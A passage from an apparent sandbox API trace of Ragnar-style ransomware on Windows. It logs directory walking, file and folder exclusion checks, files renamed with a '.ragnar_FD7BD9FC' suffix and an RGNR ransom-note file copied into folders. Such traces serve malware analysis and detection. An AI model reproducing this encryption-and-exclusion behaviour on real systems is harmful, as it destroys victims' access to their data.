Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" [0079.008] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.008] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.008] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70b5623e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70b5623e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.008] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0079.008] lstrcpyW (in: lpString1=0x1eab64, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.008] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.008] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.008] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.008] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.008] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.009] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.009] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.009] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.009] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.009] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.009] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.009] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.009] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.009] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png")) returned 0x20 [0079.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.010] CloseHandle (hObject=0xffffffff) returned 0 [0079.010] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" [0079.010] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.010] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\layeredtitles\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.010] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x814d2d20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.010] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x41 [0079.010] lstrcpyW (in: lpString1=0x1eab64, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.010] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\LayeredTitles\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.010] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.010] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x814d2d20, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x814d2d20, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.010] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.010] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab41c3c, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fdc8b88, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories", cAlternateFileName="")) returned 1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2=".") returned 1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="..") returned 1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Windows") returned -1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Windows.old") returned -1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Tor browser") returned -1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Internet Explorer") returned 1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Google") returned 1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Opera") returned -1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Opera Software") returned -1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Mozilla") returned -1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="Mozilla Firefox") returned -1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="$Recycle.Bin") returned 1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="ProgramData") returned -1 [0079.011] lstrcmpiW (lpString1="Memories", lpString2="All Users") returned 1 [0079.011] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.012] lstrcpyW (in: lpString1=0x1eb620, lpString2="Memories" | out: lpString1="Memories") returned="Memories" [0079.012] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\" [0079.012] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\" [0079.012] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RGNR_FD7BD9FC.txt" [0079.012] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\memories\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.015] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*" [0079.015] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.015] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.015] lstrcpyW (in: lpString1=0x1ea746, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.015] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Memories\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8156b2a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8156b2a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.016] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.016] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9fbd8be5, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8156b2a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8156b2a0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.016] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.016] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.016] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710d74af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710d74af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1964f3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb08f, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-background.png", cAlternateFileName="")) returned 1 [0079.016] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2=".") returned 1 [0079.016] lstrcmpiW (lpString1="16_9-frame-background.png", lpString2="..") returned 1 [0079.016] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710fd60c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710fd60c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc32, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-highlight.png", cAlternateFileName="")) returned 1 [0079.016] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2=".") returned 1 [0079.016] lstrcmpiW (lpString1="16_9-frame-highlight.png", lpString2="..") returned 1 [0079.016] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71123769, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71123769, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-image-mask.png", cAlternateFileName="")) returned 1 [0079.016] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2=".") returned 1 [0079.016] lstrcmpiW (lpString1="16_9-frame-image-mask.png", lpString2="..") returned 1 [0079.016] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711498c6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711498c6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c12, dwReserved0=0x0, dwReserved1=0x0, cFileName="16_9-frame-overlay.png", cAlternateFileName="")) returned 1 [0079.016] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2=".") returned 1 [0079.016] lstrcmpiW (lpString1="16_9-frame-overlay.png", lpString2="..") returned 1 [0079.016] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71254251, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71254251, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d1bc651, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2f993, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0079.016] lstrcmpiW (lpString1="background.png", lpString2=".") returned 1 [0079.016] lstrcmpiW (lpString1="background.png", lpString2="..") returned 1 [0079.016] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-back-static.png", cAlternateFileName="")) returned 1 [0079.016] lstrcmpiW (lpString1="btn-back-static.png", lpString2=".") returned 1 [0079.016] lstrcmpiW (lpString1="btn-back-static.png", lpString2="..") returned 1 [0079.016] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7116fa23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7116fa23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x280e, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-next-static.png", cAlternateFileName="")) returned 1 [0079.016] lstrcmpiW (lpString1="btn-next-static.png", lpString2=".") returned 1 [0079.016] lstrcmpiW (lpString1="btn-next-static.png", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d27ad27, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2808, dwReserved0=0x0, dwReserved1=0x0, cFileName="btn-previous-static.png", cAlternateFileName="")) returned 1 [0079.017] lstrcmpiW (lpString1="btn-previous-static.png", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="btn-previous-static.png", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711bbcdd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711bbcdd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x946, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0079.017] lstrcmpiW (lpString1="button-highlight.png", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="button-highlight.png", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x711e1e3a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x711e1e3a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6bbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="button-overlay.png", cAlternateFileName="")) returned 1 [0079.017] lstrcmpiW (lpString1="button-overlay.png", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="button-overlay.png", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71207f97, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71207f97, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Memories_buttonClear.png", cAlternateFileName="")) returned 1 [0079.017] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="Memories_buttonClear.png", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7122e0f4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7122e0f4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_btn-back-static.png", cAlternateFileName="")) returned 1 [0079.017] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="Notes_btn-back-static.png", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7127a3ae, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7127a3ae, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a7ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_content-background.png", cAlternateFileName="")) returned 1 [0079.017] lstrcmpiW (lpString1="Notes_content-background.png", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="Notes_content-background.png", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8156b2a0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8156b2a0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.017] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x710b1352, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x710b1352, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4f7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="scrapbook.png", cAlternateFileName="")) returned 1 [0079.017] lstrcmpiW (lpString1="scrapbook.png", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="scrapbook.png", lpString2="..") returned 1 [0079.017] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712c6668, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712c6668, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2a0e85, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x390c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_content-background.png", cAlternateFileName="")) returned 1 [0079.017] lstrcmpiW (lpString1="Title_content-background.png", lpString2=".") returned 1 [0079.017] lstrcmpiW (lpString1="Title_content-background.png", lpString2="..") returned 1 [0079.018] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x712ec7c5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x712ec7c5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d2c6fe3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1368, dwReserved0=0x0, 